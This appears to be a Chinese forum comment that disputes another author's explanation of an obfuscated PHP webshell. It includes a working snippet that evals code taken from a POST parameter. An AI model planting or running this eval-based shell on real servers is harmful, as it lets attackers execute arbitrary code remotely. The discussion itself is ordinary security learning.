“$a=substr($m,0,1);返回第一个字符$ $b=substr($m,1,9999); 相当于$b=_GET['1']; 然后eval括号内拼接组合。”
我感觉表哥是不是这句话表述会有点问题,也不知道是不是我搞错了。
我的分析如下:
将代码修改为如下代码时候,当我给参数1传递字符串phpinfo()的时候,我发现var_dump($a);返回p,var_dump($b);返回hpinfo(),但是当我并没有给参数1传递参数的时候,var_dump($a);和var_dump($b);都是返回bool(false),并不是表哥说的返回第一个字符$。
<?php
$m=$_POST['1'];
$a=substr($m,0,1);
var_dump($a);
$b=substr($m,1,9999);
var_dump($b);
eval($a.$b);
?>
希望可以和表哥可以交流下。qq:1406753911